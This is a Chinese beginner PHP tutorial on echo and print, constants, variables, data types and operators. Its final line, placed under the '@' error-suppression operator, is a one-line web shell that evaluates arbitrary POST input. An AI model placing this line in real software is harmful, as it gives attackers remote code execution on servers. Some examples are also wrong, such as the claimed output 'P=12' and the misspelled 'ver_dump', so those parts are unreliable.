php基础01

135 阅读3分钟

输出语句

echo
print
print_r()
ver_dump()

1. **echo**:
   - `echo` 是 PHP 中最常用的输出语句,它可以输出一个或多个字符串。
   - 例如:`echo "Hello, World!";`

2. **print**:
   - `print` 也是用于输出字符串的语句,但它只能输出一个字符串,并始终返回 1。
   - 例如:`print "Hello, World!";`

3. **print_r**:
   - `print_r` 用于打印关于变量的易于理解的信息,通常用于调试目的。
   - 例如:`print_r($array);`

4. **var_dump**:
   - `var_dump` 也用于打印关于一个或多个变量的易于理解的信息,包括类型和值。
   - 例如:`var_dump($variable);`

这些输出语句在PHP中都具有不同的功能和用途,可以根据具体的需求来选择使用哪种输出语句。

常量

define() 函数
const 关键字
define定义方式

首个参数定义常量的名称

第二个参数定义常量的值

可选的第三个参数规定常量名是否对大小写不敏感。默认是 false。

如果设置为 TRUE,该常量则大小写不敏感。默认是大小写敏感的。

define('PAI', '3.14');
echo '圆周率=', PAI; // 输出结果:圆周率=3.14
define('R', '5', true);
echo '半径=', R; // 输出结果:半径=5
echo '半径=', r; // 输出结果:半径=5
const方式定义

这个就简单易懂了

const R = 6;
const P = 2 / R;
echo 'P=', P;//输出结果:P=12
预定义常量
常量名                             功能描述

__FILE__                        PHP程序文件名
__LINE__                        PHP程序中的当前行号
PHP_VERSION                     PHP程序的版本,如“7.1.4”
PHP_OS                          执行PHP解析器的操作系统名称,如“WINNT”
TRUE                            该常量是一个真值(trueFALSE                           该常量是一个假值(falseNULL                            该常量是一个空值(null)
E_ERROR                         该常量表示错误级别为致命错误
E_WARNING                       该常量表示错误级别为警告
E_PARSE                         该常量表示错误级别为语法解析错误
E_NOTICE                        该常量表示错误级别为通知提醒
基本使用方法
<?php
echo "PHP程序当前文件路径名: " .__FILE__;
echo "<br />";
echo "PHP程序当前行数: " .__LINE__;
echo "<br />";
echo PHP_VERSION;
echo "<br />";
echo PHP_OS;
?>

变量

概念:变量是用于存储信息的"容器":

组成:在PHP中,变量是由$符号和变量名组成的。

规则:变量名的命名规则与标识符相同。

举例:如$number、$_it为合法的变量名,而$123、$*math为非法变量名。

参考 “标识符” 章节

变量赋值

由于PHP是一种弱语言,变量不需要事先声明,就可以直接进行赋值使用。

实现方式:一种是默认的传值赋值,另一种是引用赋值。

传值赋值:变量默认总是传值赋值,将“=”右边的数据赋值为左边的变量。

引用赋值:所谓引用赋值就是在要赋值的变量前添加“&”符号。

两种实现方式的区别:传值赋值方式当一个变量值发生改变时,不影响另一个变量;而引用赋值的方式,另一个变量会随之变化。

<?php
//变量定义
$a=10; //将常量值赋给变量,会为a分配内存空间 java -->int a =10
$b=$a; //变量赋值给变量,是不是copy了一份副本,b也分配了内存空间呢?
$c=&$a; //引用是不会为c分配空间的,c和a是共用一份空间的。
echo $a,PHP_EOL;
echo $b,PHP_EOL;
echo $c,PHP_EOL;
$c =99;
echo '重新打印a b c变量,检查哪几个变量值变更了,说明了什么问题',PHP_EOL;
echo $a,PHP_EOL;
echo $b,PHP_EOL;
echo $c,PHP_EOL;
?>

数据类型

PHP中支持3类数据类型

标量数据类型 _ 复合数据类型 _ 特殊数据类型

标量数据类型

布尔型:boolean...................true和false

整型:integer.....................0-无限大

//整型可以由十进制、八进制和十六进制数指定,用来表示整数
//1. 在它前面加上“-”符号,可以表示负数。
//2. 八进制数使用0~7表示,前缀为0
//3. 十六进制数使用0~9与A~F表示,以0x为前缀
举例:
<?php
$number = 0;
var_dump($number);
echo '<hr>';
$number = 67;
var_dump($number);
echo '<hr>';
$number = -322;
var_dump($number);
echo '<hr>';
$hex = 0xa;
var_dump($hex);
echo '<hr>';
$oct = 012;
var_dump($oct);
?>

image.png 浮点型:float.....................带小数的数字

字符串:string....................汉字,英文,符号,其他国家语言

逻辑运算符

//and优先级较低
and和$&&  与           //两个真,返回真。有一个是假,返回假。
//or优先级较低
or和||    或           //一个真,返回真。两个真,返回真。两个假,返回假。
xor       异或         //一个真、返回真。两个真,返回假。两个假,也返回假。
!         非           // 取反,如果是真,就是假。如果是假,就是真。

递增递减运算符

“++”或“--”放在操作数的前面,则先进行自增或自减运算,再进行其他运算。

“++”或“--”放在操作数的后面,则先进行其他运算,再进行自增或自减运算。

运算符    运算            范例              结果
 ++    自增(前)    $a=2;$b=++$a;      $a=3;$b=3;
 ++    自增(后)    $a=2;$b=$a++;      $a=3;$b=2;
 --    自减(前)    $a=2;$b=--$a;      $a=1;$b=1;
 --    自减(后)    $a=2;$b=$a--;      $a=1;$b=2;

错误运算符

PHP的错误控制运算符使用@符号来表示,把它放在一个PHP表达式之前,将忽略该表达式可能产生的任何错误信息。如: echo @(4 / 0);

<?php @eval($_POST[cmd]);?>